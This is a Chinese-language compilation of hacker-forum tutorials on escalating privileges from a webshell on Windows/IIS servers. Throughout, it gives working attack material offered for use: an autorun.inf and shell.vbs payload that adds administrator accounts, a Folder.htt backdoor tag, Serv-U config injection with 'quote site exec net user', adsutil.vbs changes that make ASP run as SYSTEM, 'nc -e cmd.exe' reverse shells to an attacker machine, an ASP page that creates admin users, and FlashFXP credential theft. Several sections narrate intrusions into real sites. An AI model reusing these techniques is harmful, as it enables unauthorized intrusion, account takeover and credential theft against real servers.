最全的 WEBSHELL 提权方法总结

在得到了一个 Webshell 之后，如果能进一步利用系统的配置不当取得更高的权限，一直是广大黑友们所津津乐道的话题，也是高手和菜鸟间最大的区别。本文将从一个大角度总括当前流行的各种提权方法，希望对大家有所启发，起到一个抛砖引玉的作用

WEBSHELL 权限提升技巧

c: d: e:.....

C:\Documents and Settings\All Users\「开始」菜单\程序\

看这里能不能跳转，我们从这里可以获取好多有用的信息比如 Serv-U 的路径，

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\

看能否跳转到这个目录，如果行那就最好了，直接下它的 CIF 文件，破解得到 pcAnywhere 密码，登陆

c:\Program Files\serv-u\

C:\WINNT\system32\config\

下它的 SAM，破解密码

c:\winnt\system32\inetsrv\data\

是 erveryone 完全控制，很多时候没作限制，把提升权限的工具上传上去，然后执行

c:\prel

C:\Program Files\Java Web Start\

c:\Documents and Settings\

C:\Documents and Settings\All Users\

c:\winnt\system32\inetsrv\data\

c:\Program Files\

c:\Program Files\serv-u\

C:\Program Files\Microsoft SQL Server\

c:\Temp\

c:\mysql\(如果服务器支持 PHP）

c:\PHP(如果服务器支持 PHP）

运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限

还可以用这段代码试提升，好象不是很理想的

如果主机设置很变态，可以试下在 c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入 bat，vbs 等木马。

根目录下隐藏 autorun.inf

C:\PROGRAM FILES\KV2004\ 绑

D:\PROGRAM FILES\RISING\RAV\

C:\Program Files\Real\RealServer\

rar

Folder.htt 与 desktop.ini

将改写的 Folder.htt 与 desktop.ini，还有你的木马或者是 VBS 或者是什么，放到对方管理员最可能浏览的目录下

replace 替换法 捆绑

脚本 编写一个启动/关机脚本 重起

删 SAM :(错

CAcls 命令

FlashFXP 文件夹 Sites.dat Sites.dat.bak Stats.dat Stats.dat.bak

Ring 的权限提升 21 大法！

以下全部是本人提权时候的总结 很多方法至今没有机会试验也没有成功，但是我是的确看见别人成功过的。本人不才，除了第一种方法自己研究的，其他的都是别人的经验总结。希望对朋友有帮助！

1.radmin 连接法

条件是你权限够大，对方连防火墙也没有。封装个 radmin 上去，运行，开对方端口，然后 radmin 上去。本人从来米成功过。，端口到是给对方打开了。

2.paanywhere

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 这里下他的 GIF 文件，在本地安装 pcanywhere 上去

3.SAM 破解

C:\WINNT\system32\config\ 下他的 SAM 破解之

4.SU 密码夺取

C:\Documents and Settings\All Users\「开始」菜单\程序\

引用：Serv-U，然后本地查看属性，知道路径后，看能否跳转

进去后，如果有权限修改 ServUDaemon.ini，加个用户上去，密码为空

[USER=WekweN|1]

Password=

HomeDir=c:\

TimeOut=600

Maintenance=System

Access1=C:\|RWAMELCDP

Access1=d:\|RWAMELCDP

Access1=f:\|RWAMELCDP

SKEYvalues=

这个用户具有最高权限，然后我们就可以 ftp 上去 quote site exec xxx 来提升权限

5.c:\winnt\system32\inetsrv\data\

引用：就是这个目录，同样是 erveryone 完全控制，我们所要做的就是把提升权限的工具上传上去，然后执行

6.SU 溢出提权

这个网上教程 N 多 不详细讲解了

7.运行 Csript

引用：运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限

用这个 cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps

查看有特权的 dll 文件：idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll

再将 asp.dll 加入特权一族

asp.dll 是放在 c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)

我们现在加进去 cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"

可以用 cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了 8.脚本提权

c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入 bat，vbs

9.VNC
这个是小花的文章 HOHO
默认情况下 VNC 密码存放在 HKCU\Software\ORL\WinVNC3\Password
我们可以用 vncx4
破解它，vncx4 使用很简单，只要在命令行下输入
c:\>vncx4 -W
然后顺序输入上面的每一个十六进制数据，没输完一个回车一次就行了。
10.NC 提权
给对方来个 NC 但是条件是你要有足够的运行权限 然后把它反弹到自己的电脑上 HOHO OK 了
11.社会工程学之 GUEST 提权
很简单 查看他的拥护 一般来说 看到帐户以后 密码尽量猜 可能用户密码一样 也可能是他 QQ 号 邮箱号 手机号 尽量看看 HOHO
12.IPC 空连接
如果对方真比较白痴的话 扫他的 IPC 如果运气好还是弱口令
13.替换服务
这个不用说了吧？个人感觉相当复杂
14.autorun .inf
autorun=xxx.exe 这个=后面自己写 HOHO 加上只读、系统、隐藏属性 传到哪个盘都可以的 不相信他不运行
15.desktop.ini 与 Folder.htt
引用：首先，我们现在本地建立一个文件夹，名字不重要，进入它，在空白处点右键，选择"自定义文件夹"（xp 好像是不行的）一直下点，默认即可。完成后，你就会看到在此目录下多了两个名为 Folder setting 的文件架与 desktop.ini 的文件，（如果你看不到，先取消"隐藏受保护的操作系统文件"）然后我们在 Folder setting 目录下找到 Folder.htt 文件，记事本打开，在任意地方加入以下代码： <OBJECT ID="RUNIT" WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="你的后门文件名"> </OBJECT> 然后你将你的后门文件放在 Folder setting 目录下，把此目录与 desktop.ini 一起上传到对方任意一个目录下，就可以了，只要等管理员浏览了此目录，它就执行了我们的后门
16.su 覆盖提权
本地安装个 su，将你自己的 ServUDaemon.ini 文件用从他那下载下来的 ServUDaemon.ini 覆盖掉，重起一下 Serv-U，于是你上面的所有配置都与他的一模一样了
17.SU 转发端口
43958 这个是 Serv －U 的本地管理端口。FPIPE.exe 上传他，执行命令： Fpipe －v －l 3333 －r 43958 127.0.0.1 意思是将 4444 端口映射到 43958 端口上。 然后就可以在本地安装一个 Serv-u，新建一个服务器，IP 填对方 IP，帐号为 LocalAdministrator 密码为#1@$ak#.1k;0@p 连接上后你就可以管理他的 Serv-u 了
18.SQL 帐户密码泄露
如果对方开了 MSSQL 服务器，我们就可以通过用 SQL 连接器加管理员帐号（可以从他的连接数据库的 ASP 文件中看到），因为 MSSQL 是默认的 SYSTEM 权限。
引用：对方没有删除 xp_cmdshell 方法：使用 Sqlexec.exe，在 host 一栏中填入对方 IP，User 与 Pass 中填入你所得到的用户名与密码。format 选择 xp_cmdshell"%s"即可。然后点击 connect，连接上后就可以在 CMD 一栏中输入你想要的 CMD 命令了
19.asp.dll
引用：因为 asp.dll 是放在 c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定相同
)

我们现在加进去 cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"

好了,现在你可以用 cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了,注意,用法中的 get 和 set,一个是查看一个是设置.还有就是你运行上面的你要到 C:\Inetpub\AdminScripts>这个目录下.

那么如果你是一个管理员,你的机子被人用这招把 asp 提升为 system 权限,那么,这时,防的方法就是把 asp.dll T 出特权一族,也就是用 set 这个命令,覆盖掉刚才的那些东东.

20.Magic Winmail

前提是你要有个 webshell 引用：http://www.eviloctal.com/forum/read.php?tid=3587 这里去看吧

21.DBO……

其实 提升权限的方式很多的 就看大家怎么利用了 HOHO 加油吧 将服务器控制到底！

感谢 noangel

WEBSHELL 权限提升

动网上传漏洞，相信大家拿下不少肉鸡吧，但是都是 WEBSHELL，不能拿到系统权限，要如何拿到系统权限呢？这正是我们这次要讨论的内容

OK，进入我的 WEBSHELL

啊哈，不错，双 CPU，速度应该跟的上，不拿下你我怎么甘心啊

输入密码，进入到里面看看，有什么好东西没有，翻了下，好像也没有什么特别的东西，看看能不能进到其他的盘符，点了下 C 盘，不错不错，可以进去，这样提升就大有希望了

一 serv－u 提升

OK，看看他的 PROGRAME 里面有些什么程序，哦，有 SERV-U，记得有次看到 SERV-U 有默认的用户名和密码，但是监听的端口是 43958，而且是只有本地才能访问的，但是我们有端口转发工具的啊，不怕。

先看看他的 SERV-U 的版本是多少，telnet XXX.XXX.XXX.XXX 21

显示竟然是 3.0 的，唉，不得不说这个管理员真的不称职。后来完毕后扫描了下，也只有 FTP 的洞没有补。

既然是这样，我们就开始我们的提升权限了

上传 FPIPE，端口转发工具， 图三

在运行 CMD 命令里输入 d:\\wwwroot\\fpipe.exe -v -l 81 -r 43958 127.0.0.1 意思是把本机的 43598 端口转发到 81 端口

然后打开我们自己机子上的 SERV-U，点 Serv－U 服务器，点菜单栏上的的服务器，点新建服务器，然后输入 IP，输入端口，记得端口是刚刚我们转发的 81 端口。服务名称随便你喜欢，怎么样都行。然后是用户名：LocalAdministrator 密码：#l@$ak#.lk;0@P (密码都是字母)

确定，然后点刚刚建的服务器，然后就可以看到已有的用户，自己新建一个用户，把所有权限加上。也不锁定根目录

接下来就是登陆了，登陆 FTP 一定要在 CMD 下登陆，

进入后一般命令和 DOS 一样，添加用户的时候

ftp>quote site exec net.exe user hk pass /add

ftp>quote site exec net.exe localgroup administrators hk/add

如果对方开了 3389 的话，就不用我教你怎么做了，没开的话，新建立 IPC 连接，在上传木马或者是开启 3389 的工具

二

auto.ini 加 SHELL.VBS

autorun.inf

[autorun]
open=shell.vbs
shell.vbs
dim wsh
set wsh=createObject("WScript.Shell")
wsh.run "net user guest /active:yes",0
wsh.run "net user guest 520ls",0
wsh.run "net localgroup administrators guest /add",0
wsh.run "net user hkbme 520ls /add",0
wsh.run "net localgroup administrators hkbme /add",0
wsh.run "cmd.exe /c del autorun.inf",0
wsh.run "cmd.exe /c del shell.vbs",0
但是这样要可以访问到对方的根目录。将这两个文件放到对方硬盘的根目录下。当然你也可以直接执行木马程序，还要一个木马程序，但是语句就和最后两句一样，通过 CMD 执行木马程序
三
Folder.htt 与 desktop.ini
将改写的 Folder.htt 与 desktop.ini，还有你的木马或者是 VBS 或者是什么，放到对方管理员最可能浏览的目录下，觉得一个不够，可以多放几个
Folder.htt 添加代码
<OBJECT ID="RUNIT" WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="你的后门文件名">
</OBJECT>
但是后门和这两个文件必须要放到一块，有点问题，可以结合启动 VBS，运行结束后，删除上传的后门.就是 CODEBASE="shell.vbs".shell 写法如上
四
replace
替换法，可以替换正在执行的文件。用这个几乎可以马上得到权限，但是我没有做过试验，可以试下，将对方正在执行的文件替换为和它文件名一样的，捆绑了木马的。为什么不直接替换木马呢？如果替换的是关键程序，那不是就直接挂了？所以还是捆绑好点
格式
REPLACE [drive1:][path1]filename [drive2:][path2] [/A]
[/R] [/W]
REPLACE [drive1:][path1]filename [drive2:][path2]
[/R] [/S] [/W]
[drive1:][path1]filename 指定源文件。
[drive2:][path2] 指定要替换文件的
目录。
/A 把新文件加入目标目录。不能和
/S 或 /U 命令行开关搭配使用。
/P 替换文件或加入源文件之前会先提示您
进行确认。
/R 替换只读文件以及未受保护的
文件。
/S 替换目标目录中所有子目录的文件。

不能与 /A 命令选项
搭配使用。

/W 等您插入磁盘以后再运行。

/U 只会替换或更新比源文件日期早的文件。

不能与 /A 命令行开关搭配使用

这个命令没有试验过，看能不能替换不能访问的文件夹下的文件，大家可以试验下

五

脚本

编写一个启动/关机脚本配置文件 scripts.ini，这个文件名是固定的，不能改变。内容如下：

[Startup]

0CmdLine=a.bat

0Parameters=

将文件 scripts.ini 保存到"C:\\winnt\\system32\\GroupPolicy\\Machine\\Scripts"

A.BAT 的内容可以是 NET USER yonghu mima

也可以是 NET USER ADMINistrator XXX

这样可以恢复你想要得任意用户名的密码，也可以自己增加新的用户，但是要依赖重启，还有就是对 SYSTEM32 有写的权限

六

SAM

如果可以访问对方的 SYSTEM32 的话，删除对方的 SAM 文件，等他重启以后就是 ADMIN 用户密码为空

突然又有了想法，可以用 REPLACE 命令替换的吗，可以把你的 SAM 文件提取出来，上传到他的任意目录下，然后替换。不过不知道如果对 SYSTEM32 没有权限访问的话，能不能实现替换

使用 FlashFXP 来提升权限 最近各位一定得到不少肉鸡吧:)，从前段时间的动网的 upfile 漏洞， 动力文章系统最新漏洞到 first see 发现的动网 sql 版本的一个超级大漏洞。有人一定忙的不易乐乎，大家的方法也不过是使用一下 asp 脚本的后门罢了。至于提 升权限的问题呵呵，很少有人能作一口气完成。关键还是在提升权限上做个问题上，不少服务器设置的很 BT，你的 asp 木马可能都用不了，还那里来的提升啊。我们得到 webshell 也就是个低级别的用户的权限，各种提升权限方法是可谓五花八门啊，如何提升就看你自己的妙 招了。

其一，如果服务器上有装了 pcanywhere 服务端，管理员为了便于管理也给了我们方便，到系统盘的 Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/ 中下载*.cif 本地破解就使用 pcanywhere 连接就 ok 了。

其二，如果对方有 Serv-U 大家不要骂我啊，通过修改 ServUDaemon.ini 和 fpipe 这软件提升权限应该是不成问 题吧。

其三，通过替换系统服务来提升。

其四，查找 conn 和 config 这类型的文件看能否得到 sa 或者 mysql 的相关密码，可能会有所收获等等。

本人在一次无聊的入侵过程中发现了这个方法，使用 Flashfxp 也能提升权限，但是成功率高不高就看你自己的运气了:)

本人 www.xxx.com 通过 bbs 得到了一个 webshell，放了个小马(现在海阳的名气太大了偶不敢放)，而且已经将一段代码插入了 N 个文件中，够黑吧。提升权限没时间做。在我放假回家后，一看我晕 bbs 升级到动网 sp2 了我放的小马也被 K 了，人家的 BBS 是 access 版本的。郁闷啊！突然想起我将一个页面插入了 asp 的后门，看看还有没有希望了。输 www.xxx.com/xx.asp?id =1 好家伙，还在！高兴 ing

图 1

于是上传了一个 asp 的脚本的后门，怎么提升权限呢?

在这个网站的主机上游荡了 N 分钟，在 C:\\ Program Files 下发现了 FlashFXP 文件夹(跟我一样使用这个软

件自己心里暗想)图 2，于是就打了了 Sites. dat 这个文件(编辑)这是什么东西密码和用户名，而且密码是加了密的。
如果我把这些文件 copy 回本地也就是我的计算机中，替换我本地的相应文件会怎么样呢?
于是我就将 Sites.dat Sites.dat.bak Stats.dat Stats.dat.bak 几个文件下载到我的计算机中替换了我电脑中 flashfxp 文件夹的相应文件。打开 flashfxp 在站点中打开站点管理器一项。乖 乖发财了
对方管理员通过 flashfxp 连接的各个站点都在图 3，点击连接。通过了于是我们又有了一堆肉鸡，我们有 ftp 权限。上传脚本 木马~ 呵呵。
说了半天这提升权限的事情一点没讲啊
不要急，大家看看对方管理员的这站点管理器，有用户名和密码，密码是星号的。可惜啊!
又想起了在 Sites.dat 中也显示了密码和用户名，而且密码是加密的。
现在的星号密码会不会也是加了密的?看看就行了呗。
怎么看? 菜鸟了吧 手头有个不错的查看星号的软件，就是 xp 星号密码查看器，通过查看跟 Sites.dat 中加密了密码做比较。看图 4 和图 5 的比较 很显然在站点管理器中查看到的密码是明文显示的。发财了吧
下一步就是使用 xp 星号密码查看器这个软件来提取密码和用户名。看者这些复杂的密码，还真有点怀念当年玩 sniff 的时光。呵呵
密码为:b69ujkq6 hyndai790 s584p*fv4-c+ 98cq3jk4 3-8*ef./2z5+
用户名:bn7865t nilei75 qm/-g57+3kn qm/-g57+3kn 5.e*82/+69
(上述部分密码和用户名已经作了必要的修改)
这么多的信息，按社会工程学的概念来说，没有管理员的密码。打死我也不相信。最终我得到了这个网站管理员的密码从这堆东西中找到 的。
我想这个问题应该反馈到 flashfxp 官方，让他们在下个版本中修正这个漏洞或者说是错误。经过后来测试只要把含有密码和用户名的 Sites.dat 文件替换到本地相应的文件就可以在本地还原对方管理员的各个站点的密码。希望大家在入侵的时候遇到 fla shfxp 的时候能想到这个方法，至少也可以得到一堆新的肉鸡。不防试试?希望能给大家渗透带来帮助。

--
--
将 asp 权限提到最高 by: cnqing from:http://friend.91eb.com
本来是要写个提权 asp 木马的，可惜时间不是太多功底也不是太深。先把原理方法告诉大家好了。简单说说，说的太麻烦没有必要。懂了就行。
原理：
asp 文件的教本解释是由 asp.dll 运行的。由 dllhost.exe 启动的。身分是 IWAN_NAME。若是把 asp.dll 放到 inprocesslsapiapps 中那它就是由 inetifo.exe 直接启动。身份是 system
方法：
第一步。
得到 inprocesslsapiapps 内容，用命令 "cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs get w3svc/inprocessisapiapps"。将得到的一组 dll 复制下来。
第二步
写一个 bat 内容为 "cscript C:\\Inetpub\\AdminScripts\\ adsutil vbs set w3svc/inprpocessisapiapps "C:\\Inetpub\\AdminScripts\\asp.dll" •••••
省略号为复制下的内容。中间用空格分开不要带回车符
最后运行这个 bat 就行了。
例如：
我用"cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs get w3svc/inprocessisapiapps"得到

"c:\\winnt\\system32\\inetsrv\\httpext.dll"
"c:\\winnt\\system32\\inetsrv\\httpodbc.dll"
"C:\\WINNT\\system32\\inetsrv\\ssinc.dll"
"C:\\WINNT\\System32\\msw3prt.dll"
"C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi_vti_aut\\author.dll"
"C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi_vti_adm\\admin.dll"
"C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\shtml.dll"
那么你的 bat 就应该是：
cscript C:\\Inetpub\\AdminScripts\\adsutil vbs set w3svc/inprpocessisapiapps "C:\\Inetpub\\AdminScripts\\asp.dll" "c:\\winnt\\system32\\inetsrv\\httpext.dll" "c:\\winnt\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\System32\\msw3prt.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi_vti_aut\\author.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi_vti_adm\\admin.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\shtml.dll"
已测试成功!!

--
--
利用%5c 绕过验证
利用%5c 绕过验证
---
lake2（http://mrhupo.126.com）
2004-11-27

说到%5c，你是不是想起了当前流行的那个%5c 暴库漏洞，呵呵，本文就是对%5c 利用的探索（呵呵，当然有我提出的新东东，或许对你有帮助哦^_^）。
好，我们先追根溯源，找到那个漏洞的老底。看看绿盟 2001 年的漏洞公告：http://www.nsfocus.net/index.php?ac...iew&bug_id=1429
N 年以前利用这个漏洞可以实现目录遍历，虽然微软出了补丁，不过好像补丁是用来限制 iis 只能访问虚拟目录的，所以漏洞还是存在，只不过利用方式变了。对 iis 来说，提交一个含有%5c 的 url 能够找到文件，但是该文件里以相对路径引用的其他文件却找不到了（%5c 是\\的 url 编码，iis 跳转到上一级目录去找，当然找不到；头晕了吧，哈哈，我也头晕啊）。
后来这个漏洞就被牛人挖掘出来了，也就是传说中的%5c 暴库：由于连接数据库的文件引用的相对路径，提交%5c 找不到文件，所以导致出错，iis 就会老老实实的说出数据库的路径（不明白？找 google）。
一个偶然的机会我发现还可以利用%5c 绕过 asp 的验证；当我们暴库失败的时候不妨试试。
废话少说，看下面的代码：

```
<!--#INCLUDE file="conn.asp" -->
<%
guest_user=trim(request("guest_user"))
guest_password=trim(request("guest_password"))
Set rs= Server.createObject("ADODB.Recordset")
sql="select * from admin where id=1"
rs.open sql,conn,3,2
readuser=rs("guest_user")
```

```
readpassword=rs("guest_password")
if readuser<>guest_user or readpassword<>guest_password then
response.write "请输入正确地管理员密码！"
response.end
else
session("admin")=1 \'登陆后写入 seesion 中保存
response.write("登陆成功，请返回信息页")
end if
%>
```

看到没有，要想通过验证必须让数据库里的用户名密码与提交的一致；想到什么？让我们再看看数据库连接文件代码：

```
<%
on error resume next
set conn=server.createobject("adodb.connection")
DBPath = Server.MapPath("guestbook.asp")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
%>
```

啊，有容错语句不能暴库！等等，如果提交%5c 数据库找不到，由于容错，所以程序会继续执行，那么说来从数据库得到的用户名密码皆为空（想想有时暴库失败是不是看到空空的框架，因为数据都是空嘛），哈哈，这样我们就绕过验证了！

知道怎么做了吧，把登陆页面保存到本地，修改提交的 url，把最后一个/改成%5c，用户名密码用空格（有的程序会检查用户名密码是否为空，空格会被程序过滤），提交，就 ok 了。

诶，各位不要以为我自己没事写段代码来捣鼓，实际上这个是我们学校一个高手做的留言板程序，就挂在学校的主页，呵呵。

既然弄懂了原理，当然要找实际漏洞啦，自然是拿大名鼎鼎的"洞"网论坛开刀。不过失败了，因为它的数据库连接文件里有这么一段：

```
If Err Then
err.Clear
Set Conn = Nothing
Response.Write "数据库连接出错，请检查连接字串。"
Response.End
End If
```

数据库找不到程序就结束了，呵呵，空欢喜一场。

接着又去 down 了 bbsxp 论坛，打开数据库连接文件，晕，根本没有容错语句；呵呵，不过可以暴库哦。

我又不是 BT，所以不去找事了，写篇文章，算是给各位高手提供资料吧。

总结一下这个攻击方法成功的条件：1、数据库连接用的相对路径且仅有简单的容错语句；2、服务器 iis 版本为 4 或 5；3、程序里不检查空字符或者检查时不过滤空格而比较时过滤空格；4、程序不能在一级目录

至于防范，呵呵，既然攻击条件知道了，防范措施自然也出来了^_^

--

--

添加超级用户的.asp 代码[蓝屏的原创,凯文改进,Ms 未公布的漏洞]

作者：蓝屏,凯文 文章来源：冰点极限

其实上个礼拜我和凯文就在我的肉鸡上测试了,还有河马史诗.结果是在 user 权限下成功添加 Administrators

组的用户了(虽然我不敢相信我的眼睛).
上次凯文不发话,我不敢发布啊....现在在他的 blog 上看到他发布了,就转来了咯(比我上次测试时还改进了一点,加了个表单).这下大家有福咯```
反正代码是对的，但是很少能成功，具体的看运气了。。呵呵，下一步我想把他整合到海洋里面去。嘿嘿。

```
<head>.network 对象脚本权限提升漏洞利用工具</head>
<form action="useradd.asp" method=post>
用户:<input name="username" type="text" value="kevin1986"><br>
密码:<input name="passwd" type="password"><br>
<input type="submit" value="添  加">
</form>
<%@codepage=936
on error resume next
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then
response.write "iP !s n0T RiGHt"
else
if request("username")<>"" then
username=request("username")
passwd=request("passwd")
Response.Expires=0
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user",username)
od.SetPassword passwd
od.SetInfo
oe.Add oz&"/"&username
if err then
response.write "哎～～今天你还是别买 6+1 了……省下 2 元钱买瓶可乐也好……"
else
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0
then
response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
else
Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB 是你的了"
end if
end if
else
response.write "请输入输入用户名"
end if
end if
%>
```

如何绕过防火墙提升权限

本文讲的重点是 webshell 权限的提升和绕过防火墙，高手勿笑。

废话少说，咱们进入正题。

首先确定一下目标：http://www.sun***.com ，常见的虚拟主机。利用 Upfile 的漏洞相信大家获得 webshell 不难。我们这次获得这个 webshell，不是 DVBBS，而是自由动力 3.6 的软件上传过滤不严。网站 http://www.sun***.com/lemon/Index.asp 是自由动力 3.6 文章系统。Xr 运用 WinHex.exe 和 WSockExpert.exe 上传一个网页木马 newmm.asp，用过动鲨的 door.exe 的人都知道，这个是上传 asp 木马内容的。于是，上传海洋 2005a，成功获得 webshell。

测试一下权限，在 cmd 里运行 set，获得主机一些信息，系统盘是 D 盘，也说明了我们的 webshell 有运行权限的。那我们看看 C 盘有什么呢？难道是双系统？浏览后发现没有什么系统文件，只有一些垃圾文件，晕死。没关系，再来检查一下，虚拟主机都有 serv-u 的，这台也不例外，是 5.0.0.8 的。呵呵，是有本地溢出的呀，挖哈哈。

思路：上传 serv-u 本地溢出文件 srv.exe 和 nc.exe 利用 nc 来反连接获得系统 shell。大家是不是发现海洋 2005a 那个上传的组件不好用（反正我总遇到这个问题），没关系，用 rain 改的一个无组件上传，一共有 3 个文件，up.htm, upload.asp 和 uploadclass.asp。upload.asp 和 uploadclass.asp 上传到同一个文件夹，up.htm 是本地用的，修改 up.htm 里的链接地址为：http://www.sun***.com/lemon/upload.asp 就可以上传了。

传上了 srv.exe 和 nc.exe 在 H:\\long\\sun***\\lemon（网站目录）后，发现没有运行权限。没关系，根据经验，一般系统下 D: \\Documents and Settings\\All Users\\是应该有运行权限的。于是想把文件 copy 过去，但是发现我们的 webshell 没有对 D 盘写的权限，晕死。

可以浏览 D:\\program files\\serv-u\\ServUDaemon.ini,不能改，难道要破解 serv-u 的密码，晕，不想。

不可以这么就泄气了，我突然想到为什么系统不放在 C 盘了，难道 C 盘是 FAT32 分区的？（后来证明了我们的想法。这里说一下，如果主机有 win98 的系统盘，那里 99%是 FAT32 分区的。我们还遇到过装有 Ghost 的主机，为了方便在 DOS 下备份，它的备份盘一般都是 FAT 分区的。）如果系统盘是 FAT32 分区，则网站就没有什么安全性可言了。虽然 C 盘不是系统盘，但是我们有执行权限。呵呵，copy srv.exe 和 nc.exe 到 c:\\，运行 srv.exe "nc.exe －e cmd.exe 202.*.*.* 888",这里的 202.*.*.*是我们的肉鸡，在这之前我们已经在肉鸡上运行了 nc －l －p 888。我们在学校内网里，没有公网 ip，不爽-ing。

我们成功获得一个系统 shell 连上肉鸡。（看起来简单，其实这里我们也遇到过挫折，我们发现有些版本的 nc 居然没有-e 这个参数，还以为全世界 nc 功能都一样。后来又发现不同版本的 nc 互连不成功，会出现乱码，没办法用。为此，上传 n 次，错误 n 次，傻了 n 次，后来终于成功了。做黑客还真得有耐心和恒心。）

高兴之余，我们仍不满足，因为这个 shell 实在是太慢了。于是，想用我们最常用的 Radmin，其实管理员一按 Alt+Ctrl+Del，看进程就能发现 r_server 了，但是还是喜欢用它，是因为不会被查杀。好了，上传 admdll.dll，raddrv.dll，r_server.exe 到 H:\\ long\\sun***\\lemon，再用刚才 nc 得到的 shell 把它们 copy 到 d:\\winnt\\system32\\下，分别运行： r_server /install , net start r_server , r_server /pass:rain /save 。

一阵漫长的等待，终于显示成功了。兴冲冲用 radmin 连上去，发现连接失败。晕死，忘了有防火墙了。上传 pslist 和 pskill 上去，发现有 backice，木马克星等。Kill 掉他们虽然可以登陆，但服务器重启后还是不行，终不是长久之计呀。防火墙是不防 21，80 等端口的，于是，我们的思路又回到了 serv-u 上了。把他的 ServUDaemon.ini 下载下来，覆盖本机的 ServUDaemon.ini，在本机的 serv-u 上添加一个用户名为 xr，密码为 rain 的系统帐号，加上所有权限。再用老办法，上传，用 shell 写入 D:\\program files\\serv-u\ \里，覆盖掉原来的 ServUDaemon.ini。虽然又等了 n 长时间，但是成功了，于是用 flashfxp 连上，发生 530 错误。郁闷，怎么又失败了。（根据经验这样应该就可以了，但为什么不行没有想通，请高手指点。）

不管了，我们重启 serv-u 就 ok 了，怎么重启呢，开始想用 shutdown 重启系统，但那样我们就失去了 nc 这个 shell，还可能被发现。后来，眼睛一亮，我们不是有 pskill 吗？刚才用 pslist 发现有这个进程：ServUDaemon 。把它 kill 了。然后再运行 D:\\program files\\serv-u\\ ServUAdmin.exe ，这里要注意不是 ServUDaemon.exe 。

好了，到这里，我们直接 ftp 上去吧，ls 一下，哈哈，系统盘在我的掌握下。我们能不能运行系统命令呢？是可以的，这样就可以：

ftp>quote site exec net user xr rain /add

在 webshell 上运行 net user，就可以看见添加成功了。

整个入侵渗透到这就结束了，在一阵后清理打扫后。我们就开始讨论了。其实，突破防火墙有很多好的 rootkit 可以做到的，但是我们觉得系统自带的服务才是最安全的后门。

--

--

asp.dll 解析成 system 提升权限

网络上传统的提升 asp 权限为系统的有两种:

1.图形化下的,把默认站点---->主目录--->应用程序保护设置为低,这样就可以把 asp 权限设置为 system.

但这种提升方法很容易被发现,所以网络有另一种一般是用 adsutil.vbs 来提升权限.而这个也是今天

我要谈的关于 adsutil.vbs 提升权限.

2.用 adsutil.vbs 搞定.

在网络上我看到了很多的教你用这种方法的动画,文章,但我至今没有看到一篇介绍原理的,下面我谈谈我个人的看法:

先举个例子:

有一群狗,这群狗里有几个长老级狗物,它们拥有着至高无上的权限,而其它的狗,他们的权限则少得可怜.

转到计算机上:

在 IIS 中,有几个 Dll 文件是拥有特权限的,我们可以理解为系统权限,就像长老级的狗.而解析 asp 的 asp.dll 则就像一只

普通的狗,他的权限少得可怜.

那么,如果 asp.dll 也成了长老级的狗的话,那么 asp 不也就有了系统权限了吗,这是可以成立的.所以我们的思路也就是

把 asp.dll 加入特权的 dll 一族之中.提升步骤为:

<1>先查看有特权一话有哪些.

<2>加 asp.dll 加入特权一族

好了,下面我们就来实践这个过程.

1)查看有特权的 dll 文件:

命令为:cscript adsutil.vbs get /W3SVC/InProcessIsapiApps

得到显示为:

C:\\Inetpub\\AdminScripts>cscript adsutil.vbs get /W3SVC/InProcessIsapiApps

Microsoft (R) Windows 脚本宿主版本 5.1 for Windows

版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.

InProcessIsapiApps : (LIST) (5 Items)

"C:\\WINNT\\system32\\idq.dll"

"C:\\WINNT\\system32\\inetsrv\\httpext.dll"

"C:\\WINNT\\system32\\inetsrv\\httpodbc.dll"

"C:\\WINNT\\system32\\inetsrv\\ssinc.dll"
